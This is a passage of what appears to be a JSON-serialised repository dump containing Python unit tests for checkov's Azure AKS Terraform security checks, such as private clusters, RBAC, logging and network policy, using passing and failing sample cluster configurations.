0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AKSEnablesPrivateClusters.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.AKSEnablesPrivateClusters import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestAKSEnablesPrivateClusters(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_kubernetes_cluster\" \"example\" {\n                  name                = \"example-aks1\"\n                  location            = azurerm_resource_group.example.location\n                  resource_group_name = azurerm_resource_group.example.name\n                  dns_prefix          = \"exampleaks1\"\n                \n                  default_node_pool {\n                    name       = \"default\"\n                    node_count = 1\n                    vm_size    = \"Standard_D2_v2\"\n                  }\n                \n                  identity {\n                    type = \"SystemAssigned\"\n                  }\n                \n                  tags = {\n                    Environment = \"Production\"\n                  }\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_kubernetes_cluster']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure2(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_kubernetes_cluster\" \"example\" {\n                  name                = \"example-aks1\"\n                  location            = azurerm_resource_group.example.location\n                  resource_group_name = azurerm_resource_group.example.name\n                  dns_prefix          = \"exampleaks1\"\n                  private_cluster_enabled = false\n                  \n                  default_node_pool {\n                    name       = \"default\"\n                    node_count = 1\n                    vm_size    = \"Standard_D2_v2\"\n                  }\n                \n                  identity {\n                    type = \"SystemAssigned\"\n                  }\n                \n                  tags = {\n                    Environment = \"Production\"\n                  }\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_kubernetes_cluster']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_kubernetes_cluster\" \"example\" {\n                  name                = \"example-aks1\"\n                  location            = azurerm_resource_group.example.location\n                  resource_group_name = azurerm_resource_group.example.name\n                  dns_prefix          = \"exampleaks1\"\n                  private_cluster_enabled = true\n                  \n                  default_node_pool {\n                    name       = \"default\"\n                    node_count = 1\n                    vm_size    = \"Standard_D2_v2\"\n                  }\n                \n                  identity {\n                    type = \"SystemAssigned\"\n                  }\n                \n                  tags = {\n                    Environment = \"Production\"\n                  }\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_kubernetes_cluster']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AKSEncryptionAtHostEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AKSEncryptionAtHostEnabled import check\n\n\nclass AKSEncryptionAtHostEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AKSEncryptionAtHostEnabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_kubernetes_cluster.pass',\n            'azurerm_kubernetes_cluster_node_pool.pass',\n            'azurerm_kubernetes_cluster.pass_new',\n            'azurerm_kubernetes_cluster_node_pool.pass_new',\n        }\n        failing_resources = {\n            'azurerm_kubernetes_cluster.fail1',\n            'azurerm_kubernetes_cluster.fail2',\n            'azurerm_kubernetes_cluster.fail_new',\n            'azurerm_kubernetes_cluster_node_pool.fail1',\n            'azurerm_kubernetes_cluster_node_pool.fail2',\n            'azurerm_kubernetes_cluster_node_pool.fail_new',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AKSEphemeralOSDisks.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AKSEphemeralOSDisks import check\n\n\nclass AKSEphemeralOSDisks(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AKSEphemeralOSDisks\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_kubernetes_cluster.pass',\n        }\n        failing_resources = {\n            'azurerm_kubernetes_cluster.fail',\n            'azurerm_kubernetes_cluster.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AKSIsPaidSku.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AKSIsPaidSku import check\n\n\nclass TestAKSIsPaidSku(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AKSIsPaidSku\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_kubernetes_cluster.pass',\n        }\n        failing_resources = {\n            'azurerm_kubernetes_cluster.fail',\n            'azurerm_kubernetes_cluster.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AKSLocalAdminDisabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AKSLocalAdminDisabled import check\n\n\nclass TestAKSLocalAdminDisabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AKSLocalAdminDisabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_kubernetes_cluster.ckv_unittest_pass'\n        }\n        failing_resources = {\n            'azurerm_kubernetes_cluster.ckv_unittest_fail',\n            'azurerm_kubernetes_cluster.ckv_unittest_fail_2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AKSLoggingEnabled.py",
    "content": "import unittest\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.azure.AKSLoggingEnabled import check\n\n\nclass TestAKSLoggingEnabled(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {'name': ['example-aks1'], 'location': ['${azurerm_resource_group.example.location}'],\n                         'resource_group_name': ['${azurerm_resource_group.example.name}'], 'dns_prefix': ['exampleaks1'],\n                         'default_node_pool': [{'name': ['default'], 'node_count': [1], 'vm_size': ['Standard_D2_v2']}],\n                         'identity': [{'type': ['SystemAssigned']}], 'agent_pool_profile': [{}], 'service_principal': [{}],\n                         'tags': [{'Environment': 'Production'}]}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {'name': ['example-aks1'], 'location': ['${azurerm_resource_group.example.location}'],\n                         'resource_group_name': ['${azurerm_resource_group.example.name}'], 'dns_prefix': ['exampleaks1'],\n                         'default_node_pool': [{'name': ['default'], 'node_count': [1], 'vm_size': ['Standard_D2_v2']}],\n                         'identity': [{'type': ['SystemAssigned']}], 'agent_pool_profile': [{}], 'service_principal': [{}],\n                         'tags': [{'Environment': 'Production'}],\n                         'addon_profile': [{'oms_agent': [{'enabled': [True], 'log_analytics_workspace_id': ['']}]}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success(self):\n        resource_conf = {'name': ['example-aks1'], 'location': ['${azurerm_resource_group.example.location}'],\n                         'resource_group_name': ['${azurerm_resource_group.example.name}'], 'dns_prefix': ['exampleaks1'],\n                         'default_node_pool': [{'name': ['default'], 'node_count': [1], 'vm_size': ['Standard_D2_v2']}],\n                         'identity': [{'type': ['SystemAssigned']}], 'agent_pool_profile': [{}], 'service_principal': [{}],\n                         'tags': [{'Environment': 'Production'}],\n                         'addon_profile': [{'oms_agent': [{'enabled': [True], 'log_analytics_workspace_id': ['']}]}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_new_syntax(self):\n        resource_conf = {'name': ['example-aks1'], 'location': ['${azurerm_resource_group.example.location}'],\n                         'resource_group_name': ['${azurerm_resource_group.example.name}'], 'dns_prefix': ['exampleaks1'],\n                         'default_node_pool': [{'name': ['default'], 'node_count': [1], 'vm_size': ['Standard_D2_v2']}],\n                         'identity': [{'type': ['SystemAssigned']}], 'agent_pool_profile': [{}], 'service_principal': [{}],\n                         'tags': [{'Environment': 'Production'}],\n                         'oms_agent': [{'log_analytics_workspace_id': 'mock_workspace_id'}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AKSMaxPodsMinimum.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AKSMaxPodsMinimum import check\n\n\nclass TestAKSMaxPodsMinimum(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AKSMaxPodsMinimum\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_kubernetes_cluster.pass',\n            'azurerm_kubernetes_cluster_node_pool.pass'\n        }\n        failing_resources = {\n            'azurerm_kubernetes_cluster.fail',\n            'azurerm_kubernetes_cluster.failed_empty_max_pods',\n            'azurerm_kubernetes_cluster_node_pool.fail',\n            'azurerm_kubernetes_cluster.fail2',\n            'azurerm_kubernetes_cluster_node_pool.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AKSNetworkPolicy.py",
    "content": "import unittest\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.azure.AKSNetworkPolicy import check\n\n\nclass TestAKSNetworkPolicy(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {'name': ['example-aks1'], 'location': ['${azurerm_resource_group.example.location}'],\n                         'resource_group_name': ['${azurerm_resource_group.example.name}'], 'dns_prefix': ['exampleaks1'],\n                         'default_node_pool': [{'name': ['default'], 'node_count': [1], 'vm_size': ['Standard_D2_v2']}],\n                         'identity': [{'type': ['SystemAssigned']}], 'agent_pool_profile': [{}], 'service_principal': [{}],\n                         'api_server_authorized_ip_ranges': [['192.168.0.0/16']], 'tags': [{'Environment': 'Production'}],\n                         'addon_profile': [{'oms_agent': [{'enabled': [True], 'log_analytics_workspace_id': ['']}]}]}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure2(self):\n        resource_conf = {'name': ['example-aks1'], 'location': ['${azurerm_resource_group.example.location}'],\n                         'resource_group_name': ['${azurerm_resource_group.example.name}'], 'dns_prefix': ['exampleaks1'],\n                         'default_node_pool': [{'name': ['default'], 'node_count': [1], 'vm_size': ['Standard_D2_v2']}],\n                         'identity': [{'type': ['SystemAssigned']}], 'agent_pool_profile': [{}], 'service_principal': [{}],\n                         'api_server_authorized_ip_ranges': [[]], 'role_based_access_control': [{'enabled': [True]}],\n                         'network_profile': [{'network_plugin': ['azure']}], 'tags': [{'Environment': 'Production'}]}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {'name': ['example-aks1'], 'location': ['${azurerm_resource_group.example.location}'],\n                         'resource_group_name': ['${azurerm_resource_group.example.name}'], 'dns_prefix': ['exampleaks1'],\n                         'default_node_pool': [{'name': ['default'], 'node_count': [1], 'vm_size': ['Standard_D2_v2']}],\n                         'identity': [{'type': ['SystemAssigned']}], 'agent_pool_profile': [{}], 'service_principal': [{}],\n                         'role_based_access_control': [{'enabled': [False]}],\n                         'network_profile': [{'network_plugin': ['azure'], 'network_policy': ['network_policy']}],\n                         'tags': [{'Environment': 'Production'}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AKSNodePublicIpDisabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AKSNodePublicIpDisabled import check\n\n\nclass TestAKSNodePublicIpDisabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AKSNodePublicIpDisabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_kubernetes_cluster.ckv_unittest_pass'\n        }\n        failing_resources = {\n            'azurerm_kubernetes_cluster.ckv_unittest_fail',\n            'azurerm_kubernetes_cluster.fail'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AKSOnlyCriticalPodsOnSystemNodes.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AKSOnlyCriticalPodsOnSystemNodes import check\n\n\nclass TestAKSOnlyCriticalPodsOnSystemNodes(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AKSOnlyCriticalPodsOnSystemNodes\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_kubernetes_cluster.pass',\n        }\n        failing_resources = {\n            'azurerm_kubernetes_cluster.fail1',\n            'azurerm_kubernetes_cluster.fail2',\n            'azurerm_kubernetes_cluster.fail3',\n            'azurerm_kubernetes_cluster.fail4',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AKSPoolTypeIsScaleSet.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AKSPoolTypeIsScaleSet import check\n\n\nclass TestAKSPoolTypeIsScaleSet(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AKSPoolTypeIsScaleSet\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_kubernetes_cluster.pass',\n            'azurerm_kubernetes_cluster.pass2',\n        }\n        failing_resources = {\n            'azurerm_kubernetes_cluster.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AKSRbacEnabled.py",
    "content": "import unittest\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.azure.AKSRbacEnabled import check\n\n\nclass TestAKSRbacEnabled(unittest.TestCase):\n    # azurerm < 2.99.0\n    def test_failure_false(self):\n        resource_conf = {\n            \"name\": [\"example-aks1\"],\n            \"location\": [\"${azurerm_resource_group.example.location}\"],\n            \"resource_group_name\": [\"${azurerm_resource_group.example.name}\"],\n            \"dns_prefix\": [\"exampleaks1\"],\n            \"default_node_pool\": [\n                {\"name\": [\"default\"], \"node_count\": [1], \"vm_size\": [\"Standard_D2_v2\"]}\n            ],\n            \"identity\": [{\"type\": [\"SystemAssigned\"]}],\n            \"agent_pool_profile\": [{}],\n            \"service_principal\": [{}],\n            \"role_based_access_control\": [{\"enabled\": [False]}],\n            \"tags\": [{\"Environment\": \"Production\"}],\n        }\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    # azurerm >= 2.99.0\n    def test_failure_false_new_syntax(self):\n        resource_conf = {\n            \"name\": [\"example-aks1\"],\n            \"location\": [\"${azurerm_resource_group.example.location}\"],\n            \"resource_group_name\": [\"${azurerm_resource_group.example.name}\"],\n            \"dns_prefix\": [\"exampleaks1\"],\n            \"default_node_pool\": [\n                {\"name\": [\"default\"], \"node_count\": [1], \"vm_size\": [\"Standard_D2_v2\"]}\n            ],\n            \"identity\": [{\"type\": [\"SystemAssigned\"]}],\n            \"agent_pool_profile\": [{}],\n            \"service_principal\": [{}],\n            \"role_based_access_control_enabled\": [False],\n            \"tags\": [{\"Environment\": \"Production\"}],\n        }\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_default(self):\n        resource_conf = {\n            \"name\": [\"example-aks1\"],\n            \"location\": [\"${azurerm_resource_group.example.location}\"],\n            \"resource_group_name\": [\"${azurerm_resource_group.example.name}\"],\n            \"dns_prefix\": [\"exampleaks1\"],\n            \"default_node_pool\": [\n                {\"name\": [\"default\"], \"node_count\": [1], \"vm_size\": [\"Standard_D2_v2\"]}\n            ],\n            \"identity\": [{\"type\": [\"SystemAssigned\"]}],\n            \"agent_pool_profile\": [{}],\n            \"service_principal\": [{}],\n            \"tags\": [{\"Environment\": \"Production\"}],\n            \"addon_profile\": [\n                {\"oms_agent\": [{\"enabled\": [True], \"log_analytics_workspace_id\": [\"\"]}]}\n            ],\n        }\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    # azurerm < 2.99.0\n    def test_success(self):\n        resource_conf = {\n            \"name\": [\"example-aks1\"],\n            \"location\": [\"${azurerm_resource_group.example.location}\"],\n            \"resource_group_name\": [\"${azurerm_resource_group.example.name}\"],\n            \"dns_prefix\": [\"exampleaks1\"],\n            \"default_node_pool\": [\n                {\"name\": [\"default\"], \"node_count\": [1], \"vm_size\": [\"Standard_D2_v2\"]}\n            ],\n            \"identity\": [{\"type\": [\"SystemAssigned\"]}],\n            \"agent_pool_profile\": [{}],\n            \"service_principal\": [{}],\n            \"role_based_access_control\": [{\"enabled\": [True]}],\n            \"tags\": [{\"Environment\": \"Production\"}],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    # azurerm >= 2.99.0\n    def test_success_new_syntax(self):\n        resource_conf = {\n            \"name\": [\"example-aks1\"],\n            \"location\": [\"${azurerm_resource_group.example.location}\"],\n            \"resource_group_name\": [\"${azurerm_resource_group.example.name}\"],\n            \"dns_prefix\": [\"exampleaks1\"],\n            \"default_node_pool\": [\n                {\"name\": [\"default\"], \"node_count\": [1], \"vm_size\": [\"Standard_D2_v2\"]}\n            ],\n            \"identity\": [{\"type\": [\"SystemAssigned\"]}],\n            \"agent_pool_profile\": [{}],\n            \"service_principal\": [{}],\n            \"role_based_access_control_enabled\": [True],\n            \"tags\": [{\"Environment\": \"Production\"}],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AKSSecretStoreRotation.py",
    "content": "\nfrom checkov.terraform.checks.resource.azure.AKSSecretStoreRotation import check\nimport os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAKSSecretStoreRotation(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AKSSecretStoreRotation\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_kubernetes_cluster.pass',\n        }\n        failing_resources = {\n            'azurerm_kubernetes_cluster.fail',\n            'azurerm_kubernetes_cluster.fail2',\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AKSUpgradeChannel.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AKSUpgradeChannel import check\n\n\nclass TestAKSUpgradeChannel(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AKSUpgradeChannel\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_kubernetes_cluster.pass_new',\n            'azurerm_kubernetes_cluster.pass_old',\n        }\n        failing_resources = {\n            'azurerm_kubernetes_cluster.fail_new',\n            'azurerm_kubernetes_cluster.fail2_new',\n            'azurerm_kubernetes_cluster.fail_old',\n            'azurerm_kubernetes_cluster.fail2_old',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AKSUsesAzurePoliciesAddon.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.AKSUsesAzurePoliciesAddon import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestAKSUsesAzurePoliciesAddon(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_kubernetes_cluster\" \"example\" {\n                  name                = \"example-aks1\"\n                  location            = azurerm_resource_group.example.location\n                  resource_group_name = azurerm_resource_group.example.name\n                  dns_prefix          = \"exampleaks1\"\n                  \n                  default_node_pool {\n                    name       = \"default\"\n                    node_count = 1\n                    vm_size    = \"Standard_D2_v2\"\n                  }\n                \n                  identity {\n                    type = \"SystemAssigned\"\n                  }\n                \n                  tags = {\n                    Environment = \"Production\"\n                  }\n                }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_kubernetes_cluster']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure2(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_kubernetes_cluster\" \"example\" {\n                  name                = \"example-aks1\"\n                  location            = azurerm_resource_group.example.location\n                  resource_group_name = azurerm_resource_group.example.name\n                  dns_prefix          = \"exampleaks1\"\n\n                  addon_profile {\n                    azure_policy {\n                      enabled = false\n                    }\n                  }\n\n                  default_node_pool {\n                    name       = \"default\"\n                    node_count = 1\n                    vm_size    = \"Standard_D2_v2\"\n                  }\n\n                  identity {\n                    type = \"SystemAssigned\"\n                  }\n\n                  tags = {\n                    Environment = \"Production\"\n                  }\n                }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_kubernetes_cluster']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\n    def test_failure3(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_kubernetes_cluster\" \"example\" {\n                  name                = \"example-aks1\"\n                  location            = azurerm_resource_group.example.location\n                  resource_group_name = azurerm_resource_group.example.name\n                  dns_prefix          = \"exampleaks1\"\n\n                  azure_policy {\n                    enabled = true\n                  }\n\n                  default_node_pool {\n                    name       = \"default\"\n                    node_count = 1\n                    vm_size    = \"Standard_D2_v2\"\n                  }\n\n                  identity {\n                    type = \"SystemAssigned\"\n                  }\n\n                  tags = {\n                    Environment = \"Production\"\n                  }\n                }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_kubernetes_cluster']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\n 